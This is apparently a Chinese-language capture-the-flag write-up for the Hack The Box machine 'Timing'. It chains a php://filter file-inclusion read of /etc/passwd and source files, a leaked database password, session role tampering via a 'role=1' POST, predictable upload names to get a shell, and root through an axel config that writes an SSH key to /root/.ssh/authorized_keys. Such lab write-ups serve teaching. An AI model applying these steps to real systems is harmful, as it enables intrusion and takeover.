https://app.hackthebox.com/machines/421
前期工作
nmap扫描结果
一个登录框,测试了一下貌似不存在sql注入
目录爆破结果
存在images/upload
目录,但是没有爆破出有价值的文件
文件包含读取源代码
注意到image.php
没有直接跳转到login.php
,推测该文件可能可以接受参数去读取images
文件夹中的文件
wfuzz -c -w ~/SecTools/SecLists-2021.4/Discovery/Web-Content/burp-parameter-names.txt -u "http://10.10.11.135/image.php?FUZZ=/etc/passwd"
传入img=index.php
时,跳转到login.php
,推测这里为文件包含
php://filter/read=convert.base64-encode/resource=xxx
/etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve❌101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog❌102:106::/home/syslog:/usr/sbin/nologin
messagebus❌103:107::/nonexistent:/usr/sbin/nologin
_apt❌104:65534::/nonexistent:/usr/sbin/nologin
lxd❌105:65534::/var/lib/lxd/:/bin/false
uuidd❌106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq❌107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape❌108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate❌109:1::/var/cache/pollinate:/bin/false
sshd❌110:65534::/run/sshd:/usr/sbin/nologin
mysql❌111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron❌1000:1000:aaron:/home/aaron:/bin/bash
|
image.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
function is_safe_include($text)
{
$blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");
foreach ($blacklist as $item) {
if (strpos($text, $item) !== false) {
return false;
}
}
return substr($text, 0, 1) !== "/";
}
if (isset($_GET['img'])) {
if (is_safe_include($_GET['img'])) {
include($_GET['img']);
} else {
echo "Hacking attempt detected!";
}
}
|
login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
<?php
include "header.php";
function createTimeChannel()
{
sleep(1);
}
include "db_conn.php";
if (isset($_SESSION['userid'])){
header('Location: ./index.php');
die();
}
if (isset($_GET['login'])) {
$username = $_POST['user'];
$password = $_POST['password'];
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";
}
?>
...
|
注意这里有一个createTimeChannel
,当用户名正确时后不会直接回显,而是延迟回显类似于延时注入
db_conn.php
1
2
|
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
|
传入user=admin&password=4_V3Ry_l0000n9_p422w0rd
,成功延迟了一秒钟,但是没有进行跳转,说明存在用户admin
,但是密码没整出来
在/etc/passwd
中存在aaron
用户,尝试登录,也成功延迟了一秒钟,说明存在该用户
测试得知aaron
作为密码可以登录aaron
用户
profile_update.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
<?php
include "auth_check.php";
$error = "";
if (empty($_POST['firstName'])) {
$error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
$error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
$error = 'Email is required.';
} else if (empty($_POST['company'])) {
$error = 'Company is required.';
}
if (!empty($error)) {
die("Error updating profile, reason: " . $error);
} else {
include "db_conn.php";
$id = $_SESSION['userid'];
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
// dont persist role
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
// but return it to avoid confusion
$user['role'] = $role;
$user['6'] = $role;
echo json_encode($user, JSON_PRETTY_PRINT);
} else {
echo "No user with this id was found.";
}
}
?>
|
注意到$_SESSION['role']
可以被篡改
1
2
3
4
|
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
|
POST传参firstName=test&lastName=test&email=test&company=test&role=1
可以看到成功越权,得到admin panel
获取user权限
upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
|
注意到文件名是md5('$file_hash' . time())
而不是md5("$file_hash" . time())
,因此只需要知道时间戳即可
成功得到图片为238f241b8f6fe89215ecc1eb02b929db_info.jpg
,利用文件包含即可getshell
无法直接反弹shell,因此使用正向绑定
linpeas.sh
显示-rw-r--r-- 1 root root 627851 Jul 20 2021 /opt/source-files-backup.zip
压缩包中存在.git
文件夹
用S3cr3t_unGu3ss4bl3_p422w0Rd
尝试登录ssh
获取root权限
https://man.sr.ht/~rek2/Hispagatos-wiki/writeups/Timing.md
1
2
3
|
aaron@timing:/usr/bin$ cat netutils
#! /bin/bash
java -jar /root/netutils.jar
|
1
2
3
4
5
6
7
|
aaron@timing:~$ sudo netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
|
1
2
3
4
5
6
7
8
|
aaron@timing:~$ nc -lvnp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from 127.0.0.1 53856 received!
GET / HTTP/1.0
Host: 127.0.0.1:8000
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)
|
https://github.com/axel-download-accelerator/axel/blob/6046c2a799d82235337e4cba8c4d1fd8c56bc400/doc/axelrc.example#L69
default_filename = default
http://manpages.ubuntu.com/manpages/trusty/zh_CN/man1/axel.1.html
1
2
3
4
5
6
|
/etc/axelrc 系统全局配置文件
~/.axelrc 个人配置文件
这些文件正文不会在一个手册页内显示,但我希望跟程序一起安装的样本文件包含足够的信息。
配置文件在不同系统的位置可能不一样。
|
修改配置文件default_filename = /root/.ssh/authorized_keys
同时把本机的ssh公钥传到靶机上并命名为index.html
,python3建立一个服务器,将公钥通过netutils
下载并保存到/root/.ssh/authorized_keys
中